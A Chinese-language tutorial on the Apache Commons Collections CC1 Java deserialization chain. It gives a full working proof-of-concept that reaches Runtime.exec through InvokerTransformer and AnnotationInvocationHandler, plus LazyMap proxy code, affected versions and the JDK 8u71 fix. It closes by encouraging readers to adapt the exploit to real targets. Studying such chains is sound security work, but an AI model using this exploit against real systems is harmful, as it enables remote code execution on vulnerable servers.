[Java安全]Commons Collections1初探过程的思考
字数 1943 2025-08-25 22:58:20

Apache Commons Collections 反序列化漏洞分析 (CC1链)

1. 前言

本教程将详细分析Apache Commons Collections 1 (CC1)反序列化漏洞的利用链,包括TransformedMap和LazyMap两种利用方式。学习前请确保:

  1. 环境准备:

    • JDK版本:8u71之前的版本(8u71及之后版本已修复)
    • Commons Collections版本:3.1-3.2.1
  2. 必读参考资料:

    • Java反序列化Commons-Collections篇01-CC1链
    • Java安全漫谈 - 09.初识CommonsCollections
    • Java安全漫谈 - 10.用TransformedMap编写真正的POC
    • 视频:Java反序列化CommonsCollections篇(一) CC1链手写EXP

2. 漏洞利用链分析

2.1 利用链功能划分

CC1链可分为三部分:

  1. 第三部分:链尾,用于命令执行
  2. 第二部分:传导部分
  3. 第一部分:触发点,寻找调用了readObject的地方

2.2 TransformedMap利用链

2.2.1 第三部分 - 命令执行核心

关键类:InvokerTransformer

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    
    public Object transform(Object input) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (...) {
            // 异常处理
        }
    }
}

利用方式:

InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"}
);

关键点:

  • 通过反射执行任意方法
  • 三个构造参数分别指定:方法名、参数类型数组、参数值数组

2.2.2 第二部分 - 传导机制

关键类:TransformedMap

Map transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

调用链:

setValue() -> checkSetValue() -> transform()

详细流程:

  1. TransformedMap.decorate() 创建装饰后的Map
  2. 遍历Map时调用setValue()
  3. setValue()调用checkSetValue()
  4. checkSetValue()调用valueTransformer.transform(value)

2.2.3 第一部分 - 触发点

关键类:sun.reflect.annotation.AnnotationInvocationHandler

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    // ...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        // ...
        memberValue.setValue(...);
    }
}

利用条件:

  1. 第一个参数必须是Annotation的子类,且至少含有一个方法
  2. Map中必须有一个键名与该Annotation的方法名相同的元素

常用Annotation类:

  • Target.class
  • Retention.class

2.3 完整TransformedMap POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "test"); // 必须与Annotation方法名相同
        
        Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, decorateMap);
        
        serialize(o);
        unserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

2.4 LazyMap利用链

2.4.1 与TransformedMap的区别

  1. 触发方式不同:

    • TransformedMap: 通过setValue()触发
    • LazyMap: 通过get()方法触发
  2. 利用链:

AnnotationInvocationHandler.readObject
    -> AnnotationInvocationHandler.invoke (动态代理)
        -> LazyMap.get()
            -> factory.transform()

2.4.2 关键代码

Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

Map proxyMap = (Map) Proxy.newProxyInstance(
    lazyMap.getClass().getClassLoader(),
    lazyMap.getClass().getInterfaces(),
    handler
);

handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

2.4.3 动态代理机制

  1. 代理对象调用任何方法都会先进入InvocationHandler.invoke()
  2. invoke方法中会调用memberValues.get()
  3. memberValues是LazyMap实例,因此会触发LazyMap.get()

3. 修复方案

JDK 8u71修复方式:

  • 不再直接操作原始Map,而是创建新的LinkedHashMap对象
  • 将原来的键值添加到新Map中,避免直接触发transform

4. 关键知识点总结

  1. Runtime不可序列化问题

    • 使用Runtime.class代替Runtime.getRuntime()
    • 通过反射链获取Runtime实例
  2. ChainedTransformer作用

    • 将多个Transformer串联执行
    • 前一个Transformer的输出作为后一个的输入
  3. ConstantTransformer作用

    • 固定返回指定对象
    • 用于构造可控参数
  4. 动态代理在LazyMap中的作用

    • 将方法调用转发到InvocationHandler.invoke
    • 从而触发LazyMap.get()

5. 调试建议

  1. 关键断点位置:

    • InvokerTransformer.transform()
    • TransformedMap.checkSetValue()
    • LazyMap.get()
    • AnnotationInvocationHandler.readObject()
    • AnnotationInvocationHandler.invoke()
  2. 调试技巧:

    • 关注方法调用栈
    • 观察关键对象的类型和值变化
    • 特别注意Map的遍历过程

6. 注意事项

  1. JDK版本必须为8u71之前
  2. Commons Collections版本应为3.1-3.2.1
  3. 不同环境可能需要调整命令执行方式
  4. 实际利用时需要考虑目标系统的安全限制

通过以上详细分析,读者应该能够深入理解CC1链的原理和实现方式,并能够根据实际环境调整利用方法。

Apache Commons Collections 反序列化漏洞分析 (CC1链) 1. 前言 本教程将详细分析Apache Commons Collections 1 (CC1)反序列化漏洞的利用链,包括TransformedMap和LazyMap两种利用方式。学习前请确保: 环境准备: JDK版本:8u71之前的版本(8u71及之后版本已修复) Commons Collections版本:3.1-3.2.1 必读参考资料: Java反序列化Commons-Collections篇01-CC1链 Java安全漫谈 - 09.初识CommonsCollections Java安全漫谈 - 10.用TransformedMap编写真正的POC 视频:Java反序列化CommonsCollections篇(一) CC1链手写EXP 2. 漏洞利用链分析 2.1 利用链功能划分 CC1链可分为三部分: 第三部分 :链尾,用于命令执行 第二部分 :传导部分 第一部分 :触发点,寻找调用了readObject的地方 2.2 TransformedMap利用链 2.2.1 第三部分 - 命令执行核心 关键类: InvokerTransformer 利用方式: 关键点: 通过反射执行任意方法 三个构造参数分别指定:方法名、参数类型数组、参数值数组 2.2.2 第二部分 - 传导机制 关键类: TransformedMap 调用链: 详细流程: TransformedMap.decorate() 创建装饰后的Map 遍历Map时调用 setValue() setValue() 调用 checkSetValue() checkSetValue() 调用 valueTransformer.transform(value) 2.2.3 第一部分 - 触发点 关键类: sun.reflect.annotation.AnnotationInvocationHandler 利用条件: 第一个参数必须是 Annotation 的子类,且至少含有一个方法 Map中必须有一个键名与该Annotation的方法名相同的元素 常用Annotation类: Target.class Retention.class 2.3 完整TransformedMap POC 2.4 LazyMap利用链 2.4.1 与TransformedMap的区别 触发方式不同: TransformedMap: 通过 setValue() 触发 LazyMap: 通过 get() 方法触发 利用链: 2.4.2 关键代码 2.4.3 动态代理机制 代理对象调用任何方法都会先进入 InvocationHandler.invoke() 在 invoke 方法中会调用 memberValues.get() memberValues 是LazyMap实例,因此会触发 LazyMap.get() 3. 修复方案 JDK 8u71修复方式: 不再直接操作原始Map,而是创建新的LinkedHashMap对象 将原来的键值添加到新Map中,避免直接触发transform 4. 关键知识点总结 Runtime不可序列化问题 : 使用 Runtime.class 代替 Runtime.getRuntime() 通过反射链获取Runtime实例 ChainedTransformer作用 : 将多个Transformer串联执行 前一个Transformer的输出作为后一个的输入 ConstantTransformer作用 : 固定返回指定对象 用于构造可控参数 动态代理在LazyMap中的作用 : 将方法调用转发到 InvocationHandler.invoke 从而触发 LazyMap.get() 5. 调试建议 关键断点位置: InvokerTransformer.transform() TransformedMap.checkSetValue() LazyMap.get() AnnotationInvocationHandler.readObject() AnnotationInvocationHandler.invoke() 调试技巧: 关注方法调用栈 观察关键对象的类型和值变化 特别注意Map的遍历过程 6. 注意事项 JDK版本必须为8u71之前 Commons Collections版本应为3.1-3.2.1 不同环境可能需要调整命令执行方式 实际利用时需要考虑目标系统的安全限制 通过以上详细分析,读者应该能够深入理解CC1链的原理和实现方式,并能够根据实际环境调整利用方法。